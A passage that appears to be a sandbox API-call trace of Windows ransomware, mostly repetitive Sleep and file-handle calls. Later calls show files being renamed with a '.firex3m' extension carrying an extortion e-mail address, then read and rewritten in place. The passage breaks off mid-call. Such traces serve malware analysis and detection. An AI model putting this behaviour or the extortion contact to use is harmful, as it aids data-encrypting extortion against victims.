pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml") returned 1 [0271.359] GetProcessHeap () returned 0x630000 [0271.359] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e84) returned 0x6fe3bb0 [0271.359] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_accessibility.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.359] Sleep (dwMilliseconds=0x1) [0273.322] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-black.png", len=0x86 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-black.png") returned 1 [0273.322] GetProcessHeap () returned 0x630000 [0273.322] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dbc) returned 0x6fe3bb0 [0273.323] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-48_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-48_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.325] Sleep (dwMilliseconds=0x1) [0275.321] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-150.png", len=0x88 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-150.png") returned 1 [0275.321] GetProcessHeap () returned 0x630000 [0275.321] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b2c) returned 0x6fe3bb0 [0275.321] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-150.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe\\assets\\square71x71logo.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.322] Sleep (dwMilliseconds=0x1) Thread: id = 72 os_tid = 0x12ac [0067.527] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.656] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.693] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.773] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.037] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.277] Sleep (dwMilliseconds=0x1) [0068.401] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.545] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.976] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.105] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.198] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.146] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.868] Sleep (dwMilliseconds=0x1) [0071.570] Sleep (dwMilliseconds=0x1) [0071.941] Sleep (dwMilliseconds=0x1) [0072.410] Sleep (dwMilliseconds=0x1) [0072.603] Sleep (dwMilliseconds=0x1) [0072.804] Sleep (dwMilliseconds=0x1) [0072.943] Sleep (dwMilliseconds=0x1) [0073.103] Sleep (dwMilliseconds=0x1) [0073.529] Sleep (dwMilliseconds=0x1) [0073.723] Sleep (dwMilliseconds=0x1) [0073.933] Sleep (dwMilliseconds=0x1) [0074.046] Sleep (dwMilliseconds=0x1) [0074.178] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.668] Sleep (dwMilliseconds=0x1) [0074.774] Sleep (dwMilliseconds=0x1) [0074.846] Sleep (dwMilliseconds=0x1) [0074.904] Sleep (dwMilliseconds=0x1) [0075.001] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.305] Sleep (dwMilliseconds=0x1) [0075.361] Sleep (dwMilliseconds=0x1) [0075.421] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.611] Sleep (dwMilliseconds=0x1) [0075.648] Sleep (dwMilliseconds=0x1) [0075.699] Sleep (dwMilliseconds=0x1) [0075.743] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.829] Sleep (dwMilliseconds=0x1) [0075.844] Sleep (dwMilliseconds=0x1) [0076.042] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.081] Sleep (dwMilliseconds=0x1) [0076.109] Sleep (dwMilliseconds=0x1) [0076.184] Sleep (dwMilliseconds=0x1) [0076.393] Sleep (dwMilliseconds=0x1) [0076.587] Sleep (dwMilliseconds=0x1) [0076.677] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.805] Sleep (dwMilliseconds=0x1) [0076.846] Sleep (dwMilliseconds=0x1) [0076.868] Sleep (dwMilliseconds=0x1) [0076.924] Sleep (dwMilliseconds=0x1) [0076.981] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.218] Sleep (dwMilliseconds=0x1) [0077.292] Sleep (dwMilliseconds=0x1) [0077.356] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.517] Sleep (dwMilliseconds=0x1) [0077.601] Sleep (dwMilliseconds=0x1) [0077.645] Sleep (dwMilliseconds=0x1) [0077.692] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.860] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.978] Sleep (dwMilliseconds=0x1) [0077.999] Sleep (dwMilliseconds=0x1) [0078.087] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.225] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.270] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.312] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.559] Sleep (dwMilliseconds=0x1) [0078.571] Sleep (dwMilliseconds=0x1) [0078.609] Sleep (dwMilliseconds=0x1) [0078.628] Sleep (dwMilliseconds=0x1) [0078.644] Sleep (dwMilliseconds=0x1) [0078.660] Sleep (dwMilliseconds=0x1) [0078.675] Sleep (dwMilliseconds=0x1) [0078.706] Sleep (dwMilliseconds=0x1) [0078.723] Sleep (dwMilliseconds=0x1) [0078.736] Sleep (dwMilliseconds=0x1) [0078.756] Sleep (dwMilliseconds=0x1) [0078.768] Sleep (dwMilliseconds=0x1) [0078.788] Sleep (dwMilliseconds=0x1) [0078.835] Sleep (dwMilliseconds=0x1) [0078.889] Sleep (dwMilliseconds=0x1) [0078.930] Sleep (dwMilliseconds=0x1) [0078.942] Sleep (dwMilliseconds=0x1) [0078.962] Sleep (dwMilliseconds=0x1) [0078.975] Sleep (dwMilliseconds=0x1) [0079.006] Sleep (dwMilliseconds=0x1) [0079.028] Sleep (dwMilliseconds=0x1) [0079.053] Sleep (dwMilliseconds=0x1) [0079.077] Sleep (dwMilliseconds=0x1) [0079.101] Sleep (dwMilliseconds=0x1) [0079.113] Sleep (dwMilliseconds=0x1) [0079.132] Sleep (dwMilliseconds=0x1) [0079.156] Sleep (dwMilliseconds=0x1) [0079.227] Sleep (dwMilliseconds=0x1) [0079.246] Sleep (dwMilliseconds=0x1) [0079.273] Sleep (dwMilliseconds=0x1) [0079.283] Sleep (dwMilliseconds=0x1) [0079.304] Sleep (dwMilliseconds=0x1) [0079.312] Sleep (dwMilliseconds=0x1) [0079.333] Sleep (dwMilliseconds=0x1) [0079.344] Sleep (dwMilliseconds=0x1) [0079.365] Sleep (dwMilliseconds=0x1) [0079.374] Sleep (dwMilliseconds=0x1) [0079.401] Sleep (dwMilliseconds=0x1) [0079.413] Sleep (dwMilliseconds=0x1) [0079.426] Sleep (dwMilliseconds=0x1) [0079.444] Sleep (dwMilliseconds=0x1) [0079.520] Sleep (dwMilliseconds=0x1) [0079.539] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.597] Sleep (dwMilliseconds=0x1) [0079.614] Sleep (dwMilliseconds=0x1) [0079.626] Sleep (dwMilliseconds=0x1) [0079.645] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.679] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.804] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.834] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.096] Sleep (dwMilliseconds=0x1) [0080.140] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.445] Sleep (dwMilliseconds=0x1) [0080.499] Sleep (dwMilliseconds=0x1) [0080.530] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.585] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.707] Sleep (dwMilliseconds=0x1) [0080.719] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.784] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.842] Sleep (dwMilliseconds=0x1) [0080.892] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] Sleep (dwMilliseconds=0x1) [0080.960] Sleep (dwMilliseconds=0x1) [0080.975] Sleep (dwMilliseconds=0x1) [0080.992] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.029] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.283] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.528] Sleep (dwMilliseconds=0x1) [0081.553] Sleep (dwMilliseconds=0x1) [0081.567] Sleep (dwMilliseconds=0x1) [0081.579] Sleep (dwMilliseconds=0x1) [0081.602] Sleep (dwMilliseconds=0x1) [0081.610] Sleep (dwMilliseconds=0x1) [0081.631] Sleep (dwMilliseconds=0x1) [0081.662] Sleep (dwMilliseconds=0x1) [0081.689] Sleep (dwMilliseconds=0x1) [0081.711] Sleep (dwMilliseconds=0x1) [0081.756] Sleep (dwMilliseconds=0x1) [0081.777] Sleep (dwMilliseconds=0x1) [0081.787] Sleep (dwMilliseconds=0x1) [0081.834] Sleep (dwMilliseconds=0x1) [0081.847] Sleep (dwMilliseconds=0x1) [0081.887] Sleep (dwMilliseconds=0x1) [0081.913] Sleep (dwMilliseconds=0x1) [0081.923] Sleep (dwMilliseconds=0x1) [0081.948] Sleep (dwMilliseconds=0x1) [0081.964] Sleep (dwMilliseconds=0x1) [0081.973] Sleep (dwMilliseconds=0x1) [0081.983] Sleep (dwMilliseconds=0x1) [0082.006] Sleep (dwMilliseconds=0x1) [0082.033] Sleep (dwMilliseconds=0x1) [0082.054] Sleep (dwMilliseconds=0x1) [0082.065] Sleep (dwMilliseconds=0x1) [0082.116] Sleep (dwMilliseconds=0x1) [0082.128] Sleep (dwMilliseconds=0x1) [0082.155] Sleep (dwMilliseconds=0x1) [0082.196] Sleep (dwMilliseconds=0x1) [0082.214] Sleep (dwMilliseconds=0x1) [0082.233] Sleep (dwMilliseconds=0x1) [0082.258] Sleep (dwMilliseconds=0x1) [0082.277] Sleep (dwMilliseconds=0x1) [0082.293] Sleep (dwMilliseconds=0x1) [0082.310] Sleep (dwMilliseconds=0x1) [0082.370] Sleep (dwMilliseconds=0x1) [0082.419] Sleep (dwMilliseconds=0x1) [0082.540] Sleep (dwMilliseconds=0x1) [0082.590] Sleep (dwMilliseconds=0x1) [0082.635] Sleep (dwMilliseconds=0x1) [0082.684] Sleep (dwMilliseconds=0x1) [0082.727] Sleep (dwMilliseconds=0x1) [0082.777] Sleep (dwMilliseconds=0x1) [0082.821] Sleep (dwMilliseconds=0x1) [0082.871] Sleep (dwMilliseconds=0x1) [0082.915] Sleep (dwMilliseconds=0x1) [0082.969] Sleep (dwMilliseconds=0x1) [0083.015] Sleep (dwMilliseconds=0x1) [0083.056] Sleep (dwMilliseconds=0x1) [0083.102] Sleep (dwMilliseconds=0x1) [0083.152] Sleep (dwMilliseconds=0x1) [0083.199] Sleep (dwMilliseconds=0x1) [0083.243] Sleep (dwMilliseconds=0x1) [0083.292] Sleep (dwMilliseconds=0x1) [0083.338] Sleep (dwMilliseconds=0x1) [0083.384] Sleep (dwMilliseconds=0x1) [0083.437] Sleep (dwMilliseconds=0x1) [0083.702] Sleep (dwMilliseconds=0x1) [0083.752] Sleep (dwMilliseconds=0x1) [0083.801] Sleep (dwMilliseconds=0x1) [0083.914] Sleep (dwMilliseconds=0x1) [0084.012] Sleep (dwMilliseconds=0x1) [0084.094] Sleep (dwMilliseconds=0x1) [0084.201] Sleep (dwMilliseconds=0x1) [0084.344] Sleep (dwMilliseconds=0x1) [0084.737] Sleep (dwMilliseconds=0x1) [0084.812] Sleep (dwMilliseconds=0x1) [0084.876] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.126] Sleep (dwMilliseconds=0x1) [0085.175] Sleep (dwMilliseconds=0x1) [0085.342] Sleep (dwMilliseconds=0x1) [0085.394] Sleep (dwMilliseconds=0x1) [0085.716] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.081] Sleep (dwMilliseconds=0x1) [0086.188] Sleep (dwMilliseconds=0x1) [0086.235] Sleep (dwMilliseconds=0x1) [0086.295] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.589] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.470] Sleep (dwMilliseconds=0x1) [0088.994] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1042\\eula.rtf", len=0x23 | out: pbstr=0x5c3ff7c*="C:\\588bce7c90097ed212\\1042\\eula.rtf") returned 1 [0088.994] GetProcessHeap () returned 0x630000 [0088.995] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b01f8, Size=0x14) returned 0x6b0218 [0088.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0088.995] CloseHandle (hObject=0x6ac) returned 1 [0088.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.995] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0088.996] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0088.996] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5580 [0088.996] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0088.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ac [0088.996] GetProcessHeap () returned 0x630000 [0088.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x31a1) returned 0x6fed108 [0088.996] GetProcessHeap () returned 0x630000 [0088.996] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x31a1) returned 0x727d80 [0088.997] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.997] ReadFile (in: hFile=0x6ac, lpBuffer=0x6fed108, nNumberOfBytesToRead=0x3180, lpNumberOfBytesRead=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fed108*, lpNumberOfBytesRead=0x5c3ff0c*=0x3180, lpOverlapped=0x0) returned 1 [0090.312] GetProcessHeap () returned 0x630000 [0090.312] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8b90 [0090.312] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.312] WriteFile (in: hFile=0x6ac, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0x3180, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x5c3ff0c*=0x3180, lpOverlapped=0x0) returned 1 [0090.313] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.313] WriteFile (in: hFile=0x6ac, lpBuffer=0x72aeff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72aeff*, lpNumberOfBytesWritten=0x5c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0090.313] SetFilePointerEx (in: hFile=0x6ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.313] WriteFile (in: hFile=0x6ac, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0090.313] CloseHandle (hObject=0x6ac) returned 1 [0090.314] GetProcessHeap () returned 0x630000 [0090.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0090.314] GetProcessHeap () returned 0x630000 [0090.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fed108 | out: hHeap=0x630000) returned 1 [0090.314] GetProcessHeap () returned 0x630000 [0090.314] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8b90 | out: hHeap=0x630000) returned 1 [0090.314] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0090.314] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fcc4 | out: lpFindFileData=0x5c3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfbc790dc, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x31b3, dwReserved0=0xaec7496, dwReserved1=0x6fed100, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d51c0 [0090.314] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0090.315] Sleep (dwMilliseconds=0x1) [0091.463] SysReAllocStringLen (in: pbstr=0x5c3ff7c*=0x0, psz="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml", len=0x2c | out: pbstr=0x5c3ff7c*="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 1 [0091.463] GetProcessHeap () returned 0x630000 [0091.463] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699948, Size=0x24) returned 0x699a98 [0091.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0091.463] CloseHandle (hObject=0x6bc) returned 1 [0091.463] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.464] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.465] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5c3fc6c | out: lpFindFileData=0x5c3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d51c0 [0091.465] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0091.465] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0091.465] GetProcessHeap () returned 0x630000 [0091.465] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5750 [0091.465] GetProcessHeap () returned 0x630000 [0091.465] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x704bf28 [0091.466] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.466] ReadFile (in: hFile=0x6bc, lpBuffer=0x6f5750, 